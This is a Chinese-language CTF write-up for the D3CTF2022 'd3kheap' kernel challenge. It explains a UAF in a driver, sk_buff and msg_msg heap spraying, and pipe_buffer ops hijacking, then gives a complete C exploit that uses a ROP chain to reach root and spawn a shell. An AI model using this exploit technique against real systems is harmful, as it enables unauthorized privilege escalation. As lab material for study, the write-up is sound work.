1. 题目逆向
首先查看其中运行脚本
开启smep、smap、kaslr、pti,双核双线程、monitor置为null
然后我们再查看出题者贴心的提供给我们的内核配置信息
# D3CTF2022 - d3kheap
baby heap in kernel space, just sign me in plz :)
Here are some kernel config options you may need
```
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SLUB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
```
我们发现其中开启了
CONFIG_SLAB_FREELIST_RANDOM=y CONFIG_SLAB_FREELIST_HARDENED=y
其中一个时freelist指针对特定值的异或还有其中分布的随机化
这一手配置,风雨不透啊
然后我们通过文件系统的init脚本可以得知插入了一个d3kheap.ko驱动模块,此时我们基本可以判定漏洞出自于他,接下来咱们继续分析
题目给出的漏洞十分简洁,a3师傅本意是为了使得大家更加专注于漏洞利用,而不是纯粹的逆向代码分析,这点倒是同用户态相反
我们可以通过ioctl来申请一个1k的块,然后我们有着两次kfree的机会,且存在UAF,那么就是这样一个十分明显的漏洞,我们的重心得以转到如何去利用它这点
2.socketpair基础知识
该系统调用通常被用来进行Linux网络编程,个人感觉有点类似于进程间通信的pipe,同样都是进行通信,但是socketpair支持全双工通信
他的使用也同pipe类似,通过传入一个大小为2的数组来分别作为读写fd指针,其调用如下:
SYSCALL_DEFINE4(socketpair, int, family, int, type, int, protocol, int __user *, usockvec) { return __sys_socketpair(family, type, protocol, usockvec); }
这里仅仅给出系统调用的声明部分
3.sk_buff基础知识
他被多次应用于网络消息传递的过程中,其中在我们读写上面的socketpair的时候同样会用到,我们来查看一下他的结构体内容,也由于太长我就不放太多
struct sk_buff {
union {
struct {
/* These two members must be first. */
struct sk_buff *next;
struct sk_buff *prev;
union {
struct net_device *dev;
/* Some protocols might use this space to store information,
* while device pointer would be NULL.
* UDP receive path is one user.
*/
unsigned long dev_scratch;
};
};
struct rb_node rbnode; /* used in netem, ip4 defrag, and tcp stack */
struct list_head list;
};
/* These elements must be at the end, see alloc_skb() for details. */
sk_buff_data_t tail;
sk_buff_data_t end;
unsigned char *head,
*data;
unsigned int truesize;
refcount_t users;
#ifdef CONFIG_SKB_EXTENSIONS
/* only useable after checking ->active_extensions != 0 */
struct skb_ext *extensions;
#endif
};
- next:用作同其他sk_buff进行链接,就如同msg_msg一样类似
- prev:同上
- tail:指向数据区中实际数据结束的地方
- end:指向数据区中结束的地方(这里是非实际的,具体在下面讲解)
- head:指向数据区中开始的地方(非实际)
- data:指向数据区中实际数据开始的地方
当我们利用上面的系统调用进行write的时候,也就是发送包的过程,就会调用其中的一个函数 alloc_skb
/**
* alloc_skb - allocate a network buffer
* @size: size to allocate
* @priority: allocation mask
*
* This function is a convenient wrapper around __alloc_skb().
*/
static inline struct sk_buff *alloc_skb(unsigned int size,
gfp_t priority)
{
return __alloc_skb(size, priority, 0, NUMA_NO_NODE);
}
这里主要是调用 __alloc_skb,我们继续查看
/* Allocate a new skbuff. We do this ourselves so we can fill in a few
* 'private' fields and also do memory statistics to find all the
* [BEEP] leaks.
*
*/
/**
* __alloc_skb - allocate a network buffer
* @size: size to allocate
* @gfp_mask: allocation mask
* @flags: If SKB_ALLOC_FCLONE is set, allocate from fclone cache
* instead of head cache and allocate a cloned (child) skb.
* If SKB_ALLOC_RX is set, __GFP_MEMALLOC will be used for
* allocations in case the data is required for writeback
* @node: numa node to allocate memory on
*
* Allocate a new &sk_buff. The returned buffer has no headroom and a
* tail room of at least size bytes. The object has a reference count
* of one. The return is the buffer. On a failure the return is %NULL.
*
* Buffers may only be allocated from interrupts using a @gfp_mask of
* %GFP_ATOMIC.
*/
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
int flags, int node)
{
struct kmem_cache *cache;
struct sk_buff *skb;
u8 *data;
bool pfmemalloc;
cache = (flags & SKB_ALLOC_FCLONE)
? skbuff_fclone_cache : skbuff_head_cache;
...
else
skb = kmem_cache_alloc_node(cache, gfp_mask & ~GFP_DMA, node);
if (unlikely(!skb))
return NULL;
prefetchw(skb);
/* We do our best to align skb_shared_info on a separate cache
* line. It usually works because kmalloc(X > SMP_CACHE_BYTES) gives
* aligned memory blocks, unless SLUB/SLAB debug is enabled.
* Both skb->head and skb_shared_info are cache line aligned.
*/
size = SKB_DATA_ALIGN(size);
size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
...
}
我们重点关注以上代码,我们知道当我们分配这个 struct sk_buff结构体的时候,他会从自带的cache当中分配,但是当我们分配数据部分的时候,他会调用 kmalloc_reserve进行分配,该函数则会从通用的kmem_cache当中申请,这里他的大小会首先进行对齐然后加上一个 struct skb_shared_info大小的结构体,然后再进行分配,该结构体大小为320字节
所以我们的一个大致 sk_buff + data的分配情况如下:

而当我们释放的时候只需要调用read读取相应通道包即可。
4.漏洞利用
我们首先可以利用题目中的ioctl来分配一个1k大小的空间,然后直接释放他了再接着分配一个大小为 1k的 msg_msg结构体,他就作为本次题目当中的 victim,但是经过测试在释放过后紧接着分配0x400的msg_msg并不能立刻获取刚刚free掉的kheap块,这一点我在最开始思考的时候也很不解,然后发现有师傅已经提前问了这个问题,据出题者a3师傅所言

而我考虑到本题环境是双核双线程,所以我又在启动脚本改为单核单线程后尝试仍然不能立刻分配,这里还存在一定疑问:(
所以由于我们现在并不能知道 哪个msg_queue中的 msg_msg分配到了刚刚free掉的堆块,所以我们需要堆喷 msg_queue,然后再设法找到其中的 victim_msg_queue
这里我们利用到 CVE-2021-22555的思路,构造一个主从 msg_msg,如下:

我们在每个 msg_queue链条上面分配出一个主msg_msg(96)和一个从msg_msg(0x400,同体中所给kheap在同一kmem_cache当中取),这里构造成这样是为了之后能通过他读取 victim msg_msg's addr
然后我们再一次用掉题目中所给出的free机会,我们利用刚刚讲到的 sk_buff,堆喷 sk_buff来试图分配到之前释放掉的kheap,但是此时上面仍存在着msg_msg,因此我们可以填入虚假信息,然后读取每一个 msg_msg,如果读取失败则说明找到了对应的 victim msg_msg
当我们找到了对应堆块后,我们可以修改他的 m_ts来造成越界读,我们此时可以读取该 msg_msg相邻的 msg_msg,这里相邻是因为之前我们进行了大量的堆喷,所以这里基本上是存在着相邻情况,当然不排除小概率情形。
首先我们需要知道每个 msg_queue中,msg_msg之间以及头都是靠着双链表进行链接的,也就是 struct msg_msg->list_head->*相连
所以我们可以越界读相邻从 msg_msg的prev指针,该指针指向的是该相邻主 msg_msg的所在的地方,因此我们之后再将 victim msg_msg->next指针修改成他,这样我们就可以成功泄露出相邻从 msg_msg的首地址,然后我们将其首地址减去0x400就得到了我们的 victim msg_msg的地址
知道了我们 victim msg_msg的虚拟地址之后,我们考虑再使用一个结构体,那就是较为流行的 pipe_buffer,该结构体默认首先分配一个大小为0x400的 pipe_buffers数组,而 struct pipe_buffer上又存在着内核基地址,因此我们可以泄露他并且修改 pipe_buffer->ops函数表,因为我们目前掌握着一个内核堆地址并且可以通过不断释放和堆喷 sk_buff来修改他,所以我们可以很容易的伪造这个函数表,当我们关闭管道两端,他就会调用 pipe_buffer->ops->release函数,我们就可以按照正常ROP来完成提权

最终exp如下:
define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#define SK_QUEUE_NR 0x10
#define SK_BUFF_NR 0x80
#define MSG_QUEUE_NR 4096
#define MSG_TAG 0xDEADBEEF
#define PIPE_SPRAY_NR 0x80
#define MASTER_MSG_SZ 96
#define MASTER_MSG_TYPE 0x41
#define SERVANT_MSG_SZ 0x400
#define SERVANT_MSG_TYPE 0x42
#define VICTIM_MSG_TYPE 0xC0DE
#define ALLOC_FLAG 0x1234
#define FREE_FLAG 0xDEAD
#define ANON_PIPE_BUF_OPS 0xffffffff8203fe40
#define INIT_CRED 0xffffffff82c6d580
#define PUSH_RSI_POP_RSP_POP4_RET 0xffffffff812dbede
#define POP_RDI_RET 0xffffffff810938f0
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETRUN_TO_USERMODE 0xffffffff81c00ff0
char fake_servant_msg[704]; /* sk_buff need include a tail, so the size(1024 - 320) should be set for the buff */
int dev_fd; /* using by filesystem */
struct msg_msg{
void* m_next;
void* m_prev;
long m_type;
size_t m_ts;
size_t next;
size_t security;
};
struct msg_msgseg{
size_t *next;
};
struct
{
long mtype;
char mtext[SERVANT_MSG_SZ - sizeof(struct msg_msg)];
}servant_msg;
struct
{
long mtype;
char mtext[MASTER_MSG_SZ - sizeof(struct msg_msg)];
}master_msg;
struct
{
long mtype;
char mtext[0x2000 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg)];
}oob_msg;
struct pipe_buffer {
size_t page;
unsigned int offset, len;
size_t ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations{
size_t confirm;
size_t release;
size_t try_steal;
size_t get;
};
/* to run the exp on the specific core only */
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
/*
* save the process current context
* */
size_t user_cs, user_ss,user_rflags,user_sp;
void saveStatus(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m Status has been saved . \033[0m");
}
#define PRINT_ADDR(str, x) printf("\033[0m\033[1;34m[+]%s \033[0m:0x%lx\n", str, x)
void info_log(char* str){
printf("\033[0m\033[32m[+]%s\033[0m\n",str);
}
void error_log(char* str){
printf("\033[0m\033[1;31m[-]%s\033[0m\n",str);
exit(1);
}
long get_msg(void){
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
long send_msg(int msqid, void* msgp, size_t msgsz, long msgtyp){
((struct msgbuf *)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}
long recv_msg(int msqid, void* msgp, size_t msgsz, long msgtyp){
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0);
}
long copy_msg(int msqid, void* msgp, size_t msgsz, long msgtyp){
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
}
void alloc(){
ioctl(dev_fd, ALLOC_FLAG, 0);
}
void delete(){
ioctl(dev_fd, FREE_FLAG, 0);
}
void spray_skb(int skb_queue[SK_QUEUE_NR][2], void *buffer, size_t size){
for(int i = 0; i < SK_QUEUE_NR; i++){
for(int j = 0; j < SK_BUFF_NR; j++){
if(write(skb_queue[i][0], buffer, size) < 0){
error_log("Spraying sk_buff failed!");
}
}
}
}
void free_skb(int skb_queue[SK_QUEUE_NR][2], void *buffer, size_t size){
for(int i= 0; i < SK_QUEUE_NR; i++){
for(int j = 0; j < SK_BUFF_NR; j++){
if(read(skb_queue[i][1], buffer, size) < 0){
error_log("Free sk_buff failed!");
}
}
}
}
void build_msg(struct msg_msg* builded_msg, void* m_next, void* m_prev, long mtype, size_t m_ts, size_t next){
builded_msg->m_next = m_next;
builded_msg->m_prev = m_prev;
builded_msg->m_type = mtype;
builded_msg->m_ts = m_ts;
builded_msg->next = next;
builded_msg->security = 0;
}
void get_rootshell(){
if(getuid()){
error_log("Priviledge elevation failed!");
}
system("/bin/sh");
exit(0);
}
void main(){
int skb_queue[SK_QUEUE_NR][2];
int msg_queue[MSG_QUEUE_NR];
int pipe_fd[PIPE_SPRAY_NR][2];
int victim_qidx = -1;
size_t victim_addr;
struct msg_msg nearby_msg, nearby_master_msg;
struct pipe_buffer *pipe_buffer_ptr;
size_t *ROPchain;
size_t ropchain_idx;
struct pipe_buf_operations *ops_ptr;
size_t kernel_base, page_offset_base, kernel_offset, guess_page_offset;
info_log("Step I:Preserve the process context and bind one core... ");
bind_cpu(0);
saveStatus();
info_log("Step II:Spray the sk_queue and msg_queue...");
for(int i = 0; i < SK_QUEUE_NR; i++){
if(socketpair(AF_UNIX, SOCK_STREAM, 0, skb_queue[i]) < 0){
error_log("Allocate the socket_queue failed!");
}
}
for(int i = 0; i < MSG_QUEUE_NR; i++){
if((msg_queue[i] = get_msg()) < 0){
error_log("Allocate the msg_queue failed!");
}
}
dev_fd = open("/dev/d3kheap", O_RDONLY);
alloc();
info_log("Step III:Construct the UAF...");
memset(&master_msg, 0, sizeof(master_msg));
memset(&servant_msg, 0, sizeof(servant_msg));
for(int i = 0; i < MSG_QUEUE_NR; i++){
/* Allocate the master msg_msg */
*(int *)&master_msg.mtext[0] = MSG_TAG;
*(int *)&master_msg.mtext[4] = i;
if(send_msg(msg_queue[i], &master_msg, sizeof(master_msg), MASTER_MSG_TYPE) < 0){
error_log("Allocate the master msg_msg failed!");
}
/* Allocate the servant msg_msg */
*(int *)&servant_msg.mtext[0] = MSG_TAG;
*(int *)&servant_msg.mtext[4] = i;
if(send_msg(msg_queue[i], &servant_msg, sizeof(servant_msg), SERVANT_MSG_TYPE) < 0){
error_log("Allocate the servant msg_msg failed!");
}
/* First free the d3kheap object */
if(i == 1024)
delete();
}
info_log("Step IV:Search for the UAF msg_msg...");
/* Second free the d3kheap object */
delete();
build_msg((struct msg_msg *)fake_servant_msg, (void *)"peiwithhao", (void*)"peiwithhao", *(long *)"peiwithhao", SERVANT_MSG_SZ, 0);
spray_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg));
for(int i = 0; i < MSG_QUEUE_NR; i++){
if(copy_msg(msg_queue[i], &servant_msg, sizeof(servant_msg), 1) < 0){
victim_qidx = i;
break;
}
}
if(victim_qidx == -1){
error_log("You have not found the victim msg_msg queue idx:(...");
}
printf("[+]the victim msg_msg idx is :%d\n", victim_qidx);
free_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg));
info_log("Step V:Overread the victim msg_msg's nearby servant msg_msg");
build_msg((struct msg_msg *)fake_servant_msg, (void *)"peiwithhao", (void *)"peiwithhao", VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0);
spray_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg));
/* We could oob read the next nearby servant msg_msg */
if(copy_msg(msg_queue[victim_qidx], &oob_msg, sizeof(oob_msg), 1) < 0){
error_log("OOB read failed!");
}
/*
* check the memory
*
for(int i = 0; i < 0x10; i++){
printf("[--- memory dump ---](%2d)0x%x\n", i, *(int *)&oob_msg.mtext[0x400 + i*4]);
}
*/
if(*(int *)&oob_msg.mtext[0x400] != MSG_TAG){
error_log("Unfortunatally! The nearby object had already been occupied!");
}
nearby_msg = *(struct msg_msg*)&oob_msg.mtext[SERVANT_MSG_SZ - sizeof(struct msg_msg)];
guess_page_offset = (size_t)(nearby_msg.m_next)&(0xfffffffff0000000);
PRINT_ADDR("guess page_offset_base", guess_page_offset);
/*
* Find the victim msg_msg addr
* */
info_log("Step VI:Get the victim msg_msg addr through nearby servant msg_msg...");
free_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg));
build_msg((struct msg_msg *)fake_servant_msg, (void *)"peiwithhao", (void *)"peiwithhao", VICTIM_MSG_TYPE, sizeof(oob_msg.mtext), (size_t)(nearby_msg.m_prev) - 8);
spray_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg));
if(copy_msg(msg_queue[victim_qidx], &oob_msg, sizeof(oob_msg), 1) < 0){
error_log("Cannot find the nearby master msg_msg...");
}
if(*(int *)&oob_msg.mtext[0x1000] != MSG_TAG){
error_log("Unfortunatally! The nearby object had already been occupied!");
}
nearby_master_msg = *(struct msg_msg*)&oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
PRINT_ADDR("nearby msg_msg addr", (size_t)nearby_master_msg.m_next);
victim_addr = (size_t)nearby_master_msg.m_next - 0x400;
PRINT_ADDR("victim_addr", victim_addr);
/*
* Construct the UAF sk_buff
* */
info_log("Step VII:Fix the msg_msg and free it, so we get the uaf sk_buff...");
memset(&fake_servant_msg, 0, sizeof(fake_servant_msg));
free_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg));
build_msg((struct msg_msg*)fake_servant_msg, (void *)victim_addr + 0x800 , (void *)victim_addr + 0x800, VICTIM_MSG_TYPE, SERVANT_MSG_TYPE - sizeof(struct msg_msg), 0);
spray_skb(skb_queue, (void *)fake_servant_msg, sizeof(fake_servant_msg));
if(recv_msg(msg_queue[victim_qidx], &servant_msg, sizeof(servant_msg), VICTIM_MSG_TYPE) < 0){
error_log("unlink the victim servant msg_msg failed!");
}
info_log("Step VIII:Make the pipe_buf with sk_buff in victim 1k object...");
for(int i = 0; i < PIPE_SPRAY_NR; i ++){
if(pipe(pipe_fd[i]) < 0){
error_log("Allocate the pipe failed!");
}
if(write(pipe_fd[i][1], "peiwithhao", 10) < 0){
error_log("Write to the pipe failed!");
}
}
pipe_buffer_ptr = (struct pipe_buffer *)&fake_servant_msg;
for(int i= 0; i < SK_QUEUE_NR; i++){
for(int j = 0; j < SK_BUFF_NR; j++){
if(read(skb_queue[i][1], &fake_servant_msg, sizeof(fake_servant_msg)) < 0){
error_log("Free sk_buff failed!");
}
if(pipe_buffer_ptr->ops > 0xffffffff81000000){
kernel_offset = pipe_buffer_ptr->ops - ANON_PIPE_BUF_OPS;
kernel_base = 0xffffffff81000000 + kernel_offset;
}
}
}
PRINT_ADDR("kernel_base", kernel_base);
PRINT_ADDR("kernel_offset", kernel_offset);
info_log("Step IX:Hijack the pipe_buffer->ops->release...");
pipe_buffer_ptr = (struct pipe_buffer *)&fake_servant_msg;
pipe_buffer_ptr->page = *(size_t *)"peiwithhao";
pipe_buffer_ptr->ops = victim_addr + 0x100;
ops_ptr = (struct pipe_buf_operations *)&fake_servant_msg[0x100];
ops_ptr->release = PUSH_RSI_POP_RSP_POP4_RET + kernel_offset;
ROPchain = (size_t *)&fake_servant_msg[0x20];
ropchain_idx = 0;
ROPchain[ropchain_idx++] = POP_RDI_RET + kernel_offset;
ROPchain[ropchain_idx++] = INIT_CRED + kernel_offset;
ROPchain[ropchain_idx++] = COMMIT_CREDS + kernel_offset;
ROPchain[ropchain_idx++] = SWAPGS_RESTORE_REGS_AND_RETRUN_TO_USERMODE + 22 + kernel_offset;
ROPchain[ropchain_idx++] = 0xdeadbeef;
ROPchain[ropchain_idx++] = 0xbeefdead;
ROPchain[ropchain_idx++] = (size_t)get_rootshell;
ROPchain[ropchain_idx++] = user_cs;
ROPchain[ropchain_idx++] = user_rflags;
ROPchain[ropchain_idx++] = user_sp + 8;
ROPchain[ropchain_idx++] = user_ss;
spray_skb(skb_queue, fake_servant_msg, sizeof(fake_servant_msg));
for(int i = 0; i < PIPE_SPRAY_NR; i++){
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
}
